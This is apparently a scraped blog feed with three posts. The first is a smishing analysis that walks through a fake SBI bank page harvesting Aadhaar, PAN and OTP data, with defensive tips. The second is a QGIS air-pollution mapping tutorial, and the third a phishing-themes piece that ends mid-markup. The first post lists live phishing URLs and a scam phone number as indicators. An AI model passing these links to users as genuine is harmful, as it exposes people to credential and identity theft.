&lt;p&gt;&lt;a href=&quot;https://expertinsights.com/insights/50-phishing-stats-you-should-know/&quot;&gt;Smishing&lt;/a&gt; is on rise, and I was lucky last year I got one of them myself. Let’s have a look into their cute little malicious SMS.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/phishing-blog.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; SMS - Impersonating SBI Bank &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/pretext.jpg&quot; /&gt;&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Phone Number: +91 9449243762, Link: https://bitly.ws/34eSw &lt;/h3&gt;

&lt;p&gt;Investigating further: TrueCaller for the phone number and VirusTotal for the bitly link.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/truecaller.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It’s likely that this phone number is also involved in vishing attacks. Luring the potential victims into the sense of urgency and fear for recovering their bank accounts via updating their sensitive details.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/vt2vendors.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/url.jpg&quot; /&gt;&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Link: https://sajv3dny.vercel.app/ &lt;/h3&gt;

&lt;p&gt;VirusTotal flags the bitly link, but not the vercel.app deployment. &lt;a href=&quot;https://www.virustotal.com/gui/url/f915ae9b96f72955bf91ebcf19008a40e4f852d9dea8e253d71b69ec49995eda/detection&quot;&gt;Check here.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/firstimpression.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s something religious about these Phishing and Smishing scams, it’s mistyped most of the time.&lt;/p&gt;

&lt;p&gt;Meanwhile, &lt;strong&gt;YONO (You Only Need One)&lt;/strong&gt; SBI is an all-in-one digital banking platform by State Bank of India (SBI). It’s a comprehensive app for Android and iOS that allows users to access a variety of financial services along with lifestyle-related offerings like booking travel and shopping online.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/2nd.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As you can see, the scammers are possessive in their approach, they don’t want your credentials to fall into other’s hand but theirs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/3rd.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I entered random numbers in their fields, and it just worked. They are hungry for the victim’s credential. Point to note: Captcha was static as well, same across several page reloads. And the OTP could be just anything, it accepted 4-6 digits random number.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/4thotp.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/5th.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/6th.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point the victim has given their full name and their father’s full name, date of birth, PAN Number, last 4 digits of their bank account number and Aadhar number. That’s a lot of sensitive PII data. There’s a high possibility of financial fraud - where the scammer would issue loans on behalf of the victim, without them knowing about it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/7th.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now it required one-time-password, I tried to bruteforce it, but it didn’t work out, it halted here and the timer would run out.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Precautions &lt;/h1&gt;
&lt;hr /&gt;

&lt;h3 align=&quot;center&quot;&gt; Tips for Identification : &lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Never ever click shortened link which comes from unknown senders, especially those impersonating entities like banks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Investigate the phone number via services like TrueCaller, and Investigate the URL via platforms like VirusTotal. Check what the final URL is, how many redirects are there, etc. Remember point 1, banks will never send you SMS to update your sensitive PII data for your bank account.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Only login to your bank account via the official login portal, for instance: SBI’s login portal lies &lt;a href=&quot;https://retail.onlinesbi.sbi/retail/login.htm&quot;&gt;here.&lt;/a&gt; And only update or change any settings or preference via the authenticated session on that official portal only. Avoid altering PII via the bank’s app as well, for extra precautions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Be vigilant, contact the bank’s customer care to further inquire about the SMS/emails.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 align=&quot;center&quot;&gt; Tips for recovery : &lt;/h3&gt;

&lt;p&gt;Let’s say that you fell victim of such SMS. Here’s some important points to consider -&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Realize that attackers can’t unsee your PII data, and changing Aadhar and PAN number is beyond the scope of human endeavour.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Make sure to change the password for the bank accounts and avoid password re-use at all costs.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Monitor the issued loans on your behalf, inform the respective banks about the incident, attach the URL and phone number associated with the scam, in the complaint email. Report it all as soon as possible.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To remain on the safe side, gain consultancy on good legal advice regarding the incident and lodge an FIR.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; My Personal Comments &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;There are several red flags throughout the workflow of this specific Smishing attack. But for an untrained eye, it could be very convincing, the choice of colors, box fields on the webpage, fonts, banner, and especially the way it moved ahead to the next page after receiving the user input was pretty realistic. Elderly people or the first time net banking users might fall into this trap.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Anyways, this is all from me as of now. I tried to keep it crisp and concise. I wish you Happy New Year! May this year be full of prosperity and success.&lt;/p&gt;

&lt;font color=&quot;#2ecc71&quot;&gt; Thanks for spending your time and giving it a read. &lt;/font&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="phishing" /><category term="cybersecurity" /><category term="security-awareness" /><summary type="html">Introduction Smishing is on rise, and I was lucky last year I got one of them myself. Let’s have a look into their cute little malicious SMS. SMS - Impersonating SBI Bank Phone Number: +91 9449243762, Link: https://bitly.ws/34eSw Investigating further: TrueCaller for the phone number and VirusTotal for the bitly link. It’s likely that this phone number is also involved in vishing attacks. Luring the potential victims into the sense of urgency and fear for recovering their bank accounts via updating their sensitive details. Link: https://sajv3dny.vercel.app/ VirusTotal flags the bitly link, but not the vercel.app deployment. Check here. There’s something religious about these Phishing and Smishing scams, it’s mistyped most of the time. Meanwhile, YONO (You Only Need One) SBI is an all-in-one digital banking platform by State Bank of India (SBI). It’s a comprehensive app for Android and iOS that allows users to access a variety of financial services along with lifestyle-related offerings like booking travel and shopping online. As you can see, the scammers are possessive in their approach, they don’t want your credentials to fall into other’s hand but theirs. I entered random numbers in their fields, and it just worked. They are hungry for the victim’s credential. Point to note: Captcha was static as well, same across several page reloads. And the OTP could be just anything, it accepted 4-6 digits random number. At this point the victim has given their full name and their father’s full name, date of birth, PAN Number, last 4 digits of their bank account number and Aadhar number. That’s a lot of sensitive PII data. There’s a high possibility of financial fraud - where the scammer would issue loans on behalf of the victim, without them knowing about it. Now it required one-time-password, I tried to bruteforce it, but it didn’t work out, it halted here and the timer would run out. Precautions Tips for Identification : Never ever click shortened link which comes from unknown senders, especially those impersonating entities like banks. Investigate the phone number via services like TrueCaller, and Investigate the URL via platforms like VirusTotal. Check what the final URL is, how many redirects are there, etc. Remember point 1, banks will never send you SMS to update your sensitive PII data for your bank account. Only login to your bank account via the official login portal, for instance: SBI’s login portal lies here. And only update or change any settings or preference via the authenticated session on that official portal only. Avoid altering PII via the bank’s app as well, for extra precautions. Be vigilant, contact the bank’s customer care to further inquire about the SMS/emails. Tips for recovery : Let’s say that you fell victim of such SMS. Here’s some important points to consider - Realize that attackers can’t unsee your PII data, and changing Aadhar and PAN number is beyond the scope of human endeavour. Make sure to change the password for the bank accounts and avoid password re-use at all costs. Monitor the issued loans on your behalf, inform the respective banks about the incident, attach the URL and phone number associated with the scam, in the complaint email. Report it all as soon as possible. To remain on the safe side, gain consultancy on good legal advice regarding the incident and lodge an FIR. My Personal Comments There are several red flags throughout the workflow of this specific Smishing attack. But for an untrained eye, it could be very convincing, the choice of colors, box fields on the webpage, fonts, banner, and especially the way it moved ahead to the next page after receiving the user input was pretty realistic. Elderly people or the first time net banking users might fall into this trap. Anyways, this is all from me as of now. I tried to keep it crisp and concise. I wish you Happy New Year! May this year be full of prosperity and success. Thanks for spending your time and giving it a read.</summary></entry><entry><title type="html">Air Pollution Heat mapping using QGIS</title><link href="http://localhost:8001/air-pollution-mapping-using-qgis" rel="alternate" type="text/html" title="Air Pollution Heat mapping using QGIS" /><published>2023-04-24T00:00:00+00:00</published><updated>2023-04-24T00:00:00+00:00</updated><id>http://localhost:8001/Air-Pollution-Mapping-using-QGIS</id><content type="html" xml:base="http://localhost:8001/air-pollution-mapping-using-qgis">&lt;p&gt;Recently I came across a tool called &lt;a href=&quot;https://qgis.org/en/site/&quot;&gt;Quantum Geographic Information System&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;QGIS, also known as &lt;strong&gt;Quantum Geographic Information System&lt;/strong&gt;, is a free and open-source software for creating, visualizing, analyzing, and managing geospatial data. It is a powerful tool that allows users to create maps, edit spatial data, and perform various spatial analysis tasks.&lt;/p&gt;

&lt;p&gt;QGIS can be particularly useful in mapping air pollution data as it provides a variety of tools to process and display data in a spatial context. The software allows users to import data from a range of sources, including shapefiles, CSV files, and databases. This means that data collected from air quality monitoring stations can be easily imported into QGIS for analysis and visualization.&lt;/p&gt;

&lt;p&gt;PM2.5, or particulate matter 2.5, refers to tiny particles that are smaller than 2.5 micrometers in diameter. These particles are a form of air pollution that can have a significant impact on human health and the environment. PM2.5 can come from a variety of sources, both natural and human-made. Natural sources include dust, wildfires, and volcanic eruptions, while human-made sources include emissions from cars and trucks, power plants, and industrial processes. When inhaled, PM2.5 particles can penetrate deep into the lungs and even enter the bloodstream. Exposure to high levels of PM2.5 has been linked to a variety of health problems, including respiratory and cardiovascular diseases, as well as lung cancer. In addition to its effects on human health, PM2.5 can also have negative impacts on the environment. It can contribute to climate change by absorbing and reflecting sunlight, and it can also harm crops and natural ecosystems.&lt;/p&gt;

&lt;p&gt;Many cities and countries have set air quality standards for PM2.5 in order to protect public health. Efforts to reduce PM2.5 pollution include regulations on emissions from vehicles and industrial sources, as well as the promotion of cleaner energy sources such as wind and solar power. Individuals can also help reduce their exposure to PM2.5 by avoiding areas with high levels of pollution and using air filters in their homes.&lt;/p&gt;

&lt;p&gt;Once the data is imported, we can use QGIS to display the data on a map, allowing us to identify areas with high levels of air pollution. QGIS provides a range of options for visualizing data, including heat maps, choropleth maps, and scatter plots. This allows us to choose the most appropriate method for visualizing their air pollution data, depending on the nature of the data and the questions they are trying to answer.&lt;/p&gt;

&lt;p&gt;In addition to visualizing air pollution data, QGIS provides a range of tools for spatial analysis. This includes tools for calculating statistics, identifying spatial patterns, and performing spatial queries. For example, we can use QGIS to calculate the average levels of air pollution in different areas or to identify areas where air pollution levels are above a certain threshold.&lt;/p&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot; /&gt;
    &lt;title&gt;Voyant Tools button&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;button-container&quot;&gt;
    &lt;button class=&quot;myButton&quot; onclick=&quot;window.open(&apos;https://www.qgis.org/en/site/forusers/download.html&apos;, &apos;_blank&apos;)&quot;&gt;Try QGIS&lt;/button&gt;
&lt;/div&gt;
&lt;script&gt;
  function redirectTo(url) {
    window.location.href = url;
}
&lt;/script&gt;
&lt;/body&gt;

&lt;hr /&gt;
&lt;h2 align=&quot;center&quot;&gt; Rendering Heat Maps for Air Pollution : &lt;/h2&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;new-delhi-india&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;New Delhi, India&lt;/span&gt;&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Data set&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Read about using OpenAQ’s API for fetching the data in JSON &lt;a href=&quot;https://docs.openaq.org/docs&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; command I issued request on their API endpoint which yielded me the desired results, initial dates from 1st Jan 2023 to 31st Jan 2023 for New Delhi state in India.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; curl https://api.openaq.org/v2/measurements?city&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Delhi&amp;amp;date_from&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2023-01-01T00:00:00+00:00&amp;amp;date_to&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2023-01-31T23:59:59+00:00&amp;amp;limit&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;10000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can tweak the command above for any other desired state, location, or the amount of data yielded. &lt;a href=&quot;https://data.page/json/csv&quot;&gt;Convert JSON to CSV&lt;/a&gt; and adjust the coordinates columns (Latitude and Longitude) accordingly.&lt;/p&gt;

&lt;p&gt;Finalizing the Heat map with the said data points -&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://blog.killswitchx7.com/Delhidataset.csv&quot;&gt;Download the Dataset from here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.killswitchx7.com/AQDelhi.png&quot; alt=&quot;Delhi&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It shows Fine Particulate Matters which are 2.5 microns or lesser in diameter. We can notice several place with levels of above 35 μg/m3 within a span of month, over a period of time this is very harmful.&lt;/p&gt;

&lt;h2 id=&quot;california-united-states-of-america&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;California, United States of America&lt;/span&gt;&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Data Set&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adjust the date range, the particles to take account on, the states etc from &lt;a href=&quot;https://www.epa.gov/outdoor-air-quality-data/download-daily-data&quot;&gt;here&lt;/a&gt;. For our purpose of producing Heat map for air pollution in California, we will adjust the parameters accordingly.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://blog.killswitchx7.com/ad_viz_plotval_data-cal.csv&quot;&gt;Download the Dataset which is used for the Heat Map from here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.killswitchx7.com/California.png&quot; alt=&quot;California&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can notice excess of air pollutants in the region of -&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sacramento&lt;/li&gt;
  &lt;li&gt;San Francisco&lt;/li&gt;
  &lt;li&gt;Fresno&lt;/li&gt;
  &lt;li&gt;Santa Clarita&lt;/li&gt;
  &lt;li&gt;Los Angeles&lt;/li&gt;
  &lt;li&gt;Riverside&lt;/li&gt;
  &lt;li&gt;San Bernardino&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;new-york-united-states-of-america&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;New York, United States of America&lt;/span&gt;&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Data Set&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adjust the date range, the particles to take account on, the states etc from &lt;a href=&quot;https://www.epa.gov/outdoor-air-quality-data/download-daily-data&quot;&gt;here&lt;/a&gt;. For our purpose of producing Heat map for air pollution in New York, we will adjust the parameters accordingly.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://blog.killswitchx7.com/ad_viz_plotval_data-ny.csv&quot;&gt;Download the Dataset which is used for the Heat Map from here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.killswitchx7.com/NewYork.png&quot; alt=&quot;New York&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can notice dense pollutants concentration in the region of New York itself, meanwhile other zones has lesser amount respectively.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Hopefully we gained insights on visualzing the Air Pollution heat maps using QGIS. An incredible tool which can perform much more analysis on the dataset and can render much more complex results.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;References :&lt;/span&gt;&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://search.earthdata.nasa.gov/search&quot;&gt;NASA Earth Data search&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://data.gov.in/catalogs&quot;&gt;Catalog of datasets from Indian Government&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.epa.gov/outdoor-air-quality-data/download-daily-data&quot;&gt;United States Environmental Protection Agency - Outdoor Air Quality Data&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/-2FCzJa1SuQ&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="text analysis" /><category term="Voyant Tools" /><summary type="html">Recently I came across a tool called Quantum Geographic Information System. QGIS, also known as Quantum Geographic Information System, is a free and open-source software for creating, visualizing, analyzing, and managing geospatial data. It is a powerful tool that allows users to create maps, edit spatial data, and perform various spatial analysis tasks. QGIS can be particularly useful in mapping air pollution data as it provides a variety of tools to process and display data in a spatial context. The software allows users to import data from a range of sources, including shapefiles, CSV files, and databases. This means that data collected from air quality monitoring stations can be easily imported into QGIS for analysis and visualization. PM2.5, or particulate matter 2.5, refers to tiny particles that are smaller than 2.5 micrometers in diameter. These particles are a form of air pollution that can have a significant impact on human health and the environment. PM2.5 can come from a variety of sources, both natural and human-made. Natural sources include dust, wildfires, and volcanic eruptions, while human-made sources include emissions from cars and trucks, power plants, and industrial processes. When inhaled, PM2.5 particles can penetrate deep into the lungs and even enter the bloodstream. Exposure to high levels of PM2.5 has been linked to a variety of health problems, including respiratory and cardiovascular diseases, as well as lung cancer. In addition to its effects on human health, PM2.5 can also have negative impacts on the environment. It can contribute to climate change by absorbing and reflecting sunlight, and it can also harm crops and natural ecosystems. Many cities and countries have set air quality standards for PM2.5 in order to protect public health. Efforts to reduce PM2.5 pollution include regulations on emissions from vehicles and industrial sources, as well as the promotion of cleaner energy sources such as wind and solar power. Individuals can also help reduce their exposure to PM2.5 by avoiding areas with high levels of pollution and using air filters in their homes. Once the data is imported, we can use QGIS to display the data on a map, allowing us to identify areas with high levels of air pollution. QGIS provides a range of options for visualizing data, including heat maps, choropleth maps, and scatter plots. This allows us to choose the most appropriate method for visualizing their air pollution data, depending on the nature of the data and the questions they are trying to answer. In addition to visualizing air pollution data, QGIS provides a range of tools for spatial analysis. This includes tools for calculating statistics, identifying spatial patterns, and performing spatial queries. For example, we can use QGIS to calculate the average levels of air pollution in different areas or to identify areas where air pollution levels are above a certain threshold. Voyant Tools button Try QGIS Rendering Heat Maps for Air Pollution : New Delhi, India Data set Read about using OpenAQ’s API for fetching the data in JSON here. Using the curl command I issued request on their API endpoint which yielded me the desired results, initial dates from 1st Jan 2023 to 31st Jan 2023 for New Delhi state in India. curl https://api.openaq.org/v2/measurements?city=Delhi&amp;amp;date_from=2023-01-01T00:00:00+00:00&amp;amp;date_to=2023-01-31T23:59:59+00:00&amp;amp;limit=10000 You can tweak the command above for any other desired state, location, or the amount of data yielded. Convert JSON to CSV and adjust the coordinates columns (Latitude and Longitude) accordingly. Finalizing the Heat map with the said data points - Download the Dataset from here It shows Fine Particulate Matters which are 2.5 microns or lesser in diameter. We can notice several place with levels of above 35 μg/m3 within a span of month, over a period of time this is very harmful. California, United States of America Data Set Adjust the date range, the particles to take account on, the states etc from here. For our purpose of producing Heat map for air pollution in California, we will adjust the parameters accordingly. Download the Dataset which is used for the Heat Map from here We can notice excess of air pollutants in the region of - Sacramento San Francisco Fresno Santa Clarita Los Angeles Riverside San Bernardino New York, United States of America Data Set Adjust the date range, the particles to take account on, the states etc from here. For our purpose of producing Heat map for air pollution in New York, we will adjust the parameters accordingly. Download the Dataset which is used for the Heat Map from here We can notice dense pollutants concentration in the region of New York itself, meanwhile other zones has lesser amount respectively. Hopefully we gained insights on visualzing the Air Pollution heat maps using QGIS. An incredible tool which can perform much more analysis on the dataset and can render much more complex results. References : NASA Earth Data search Catalog of datasets from Indian Government United States Environmental Protection Agency - Outdoor Air Quality Data</summary></entry><entry><title type="html">Phishing Analysis with Voyant Tools</title><link href="http://localhost:8001/phishing-analysis-with-voyant-tools" rel="alternate" type="text/html" title="Phishing Analysis with Voyant Tools" /><published>2023-04-23T00:00:00+00:00</published><updated>2023-04-23T00:00:00+00:00</updated><id>http://localhost:8001/Phishing-analysis-with-voyant-tools</id><content type="html" xml:base="http://localhost:8001/phishing-analysis-with-voyant-tools">&lt;p&gt;Recently I came across a tool called &lt;a href=&quot;https://voyant-tools.org/&quot;&gt;Voyant Tools&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Voyant Tools is a web-based text analysis platform designed to assist researchers in exploring, analyzing, and visualizing digital texts. Developed by Stéfan Sinclair and Geoffrey Rockwell, this suite of tools allows users to investigate patterns, frequencies, and relationships within textual data, making it an invaluable resource for various disciplines such as digital humanities, linguistics, and data-driven journalism.&lt;/p&gt;

&lt;p&gt;Although Voyant Tools is not specifically designed for analyzing malicious email files (.eml), it can still provide valuable insights into the structure, content, and patterns present in such files. Researchers can benefit from the following features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Word frequency analysis&lt;/code&gt;: Voyant Tools can generate frequency lists and visualizations, helping users identify common terms and phrases that may be associated with phishing or spam emails.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Keyword-in-context (KWIC)&lt;/code&gt;: By examining the context in which specific words or phrases appear, researchers can gain insights into the tactics and themes used by cybercriminals to deceive victims.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Collocation analysis&lt;/code&gt;: By exploring the relationships between words and phrases, users can identify patterns and connections that might reveal the intentions or strategies employed in malicious emails.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Visualization tools&lt;/code&gt;: Voyant Tools offers various visualization options, such as word clouds, network graphs, and trend graphs, allowing researchers to visualize patterns and relationships within the email data in an intuitive manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Corpus comparison&lt;/code&gt;: By comparing malicious emails with a corpus of legitimate emails, users can identify distinctive features or characteristics that may help in detecting and preventing phishing scams.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is important to note that while Voyant Tools can provide valuable insights into the textual features of malicious emails, it does not offer specific functionality for analyzing email headers, attachments, or embedded links. As such, researchers should complement their use of Voyant Tools with additional cybersecurity tools and techniques to conduct a comprehensive analysis of potentially harmful emails.&lt;/p&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot; /&gt;
    &lt;title&gt;Voyant Tools button&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;button-container&quot;&gt;
    &lt;button class=&quot;myButton&quot; onclick=&quot;window.open(&apos;https://voyant-tools.org/&apos;, &apos;_blank&apos;)&quot;&gt;Try Voyant Tools&lt;/button&gt;
&lt;/div&gt;
&lt;script&gt;
  function redirectTo(url) {
    window.location.href = url;
}
&lt;/script&gt;
&lt;/body&gt;

&lt;p&gt;Now let’s talk about Phishing :&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phishing scams&lt;/strong&gt; are fraudulent activities wherein cybercriminals masquerade as legitimate entities to deceive individuals into revealing sensitive information, such as usernames, passwords, financial details, and personal information. These scams typically rely on communication channels such as email, social media, and text messages to lure victims into clicking malicious links, downloading harmful attachments, or providing confidential data.&lt;/p&gt;

&lt;p&gt;The most commonly used themes in phishing scams include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Financial institutions&lt;/code&gt;: Cybercriminals often pose as banks, credit card companies, or investment firms, urging individuals to update their account information or confirm a suspicious transaction.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tech support&lt;/code&gt;: Scammers may pretend to be representatives of well-known technology companies, claiming that there is a problem with the victim’s device or account that requires immediate action.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tax and government agencies&lt;/code&gt;: Phishing attacks may also involve fraudsters impersonating government agencies like the IRS, instructing recipients to resolve urgent tax issues or verify their identity for government benefits.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Social media&lt;/code&gt;: Scammers may impersonate friends or followers on social media, asking for financial help, sharing sensational news stories, or promoting enticing giveaways that require personal information.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shipping and delivery notifications&lt;/code&gt;: Fake notifications of package deliveries or shipment delays are used to trick individuals into clicking malicious links or providing sensitive data.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Phishing scams are a serious threat, below are some of the latest statistics emphasizing their danger:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Phishing is the most common form of cyber crime, with an estimated 3.4 billion spam emails sent every day.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;According to FBI’s Internet Crime Complaint Center Releases 2022 Statistics ( &lt;a href=&quot;https://www.ic3.gov/Media/PDF/AnnualReport/2021_IC3Report.pdf&quot;&gt;FBI Internet Crime Report 2021&lt;/a&gt; ): Phishing ranks one in the Internet crimes, with reported 323,972 victims for Phishing/Vishing/Smishing/Pharming. Constituting $2,395,953,296 loss for Business Email Compromise.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The Anti-Phishing Working Group (APWG) reported that in the third quarter of 2021, there were more than 222,000 unique phishing sites detected, marking a 7.3% increase from the previous quarter.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A 2021 study by Proofpoint found that 75% of organizations worldwide had experienced a phishing attack, with 74% of successful attacks leading to data breaches.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Learn more about latest phishing trends in 2023 &lt;a href=&quot;https://aag-it.com/the-latest-phishing-statistics/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As phishing scams continue to evolve and target a wide range of industries and individuals, it is crucial to raise awareness and implement robust security measures to protect against these threats. Today we will use Voyant Tools to analyze some of the common and pressing themes in the realm of phishing emails.&lt;/p&gt;

&lt;p&gt;One can gain deeper insights into Phishing emails without becoming a victim themselves via using tools and services like CaniPhish - It’s primarily utilized for user-training in the enterprise networks, standalone end-users can benefit from it as well.&lt;/p&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot; /&gt;
    &lt;title&gt;Voyant Tools button&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;button-container&quot;&gt;
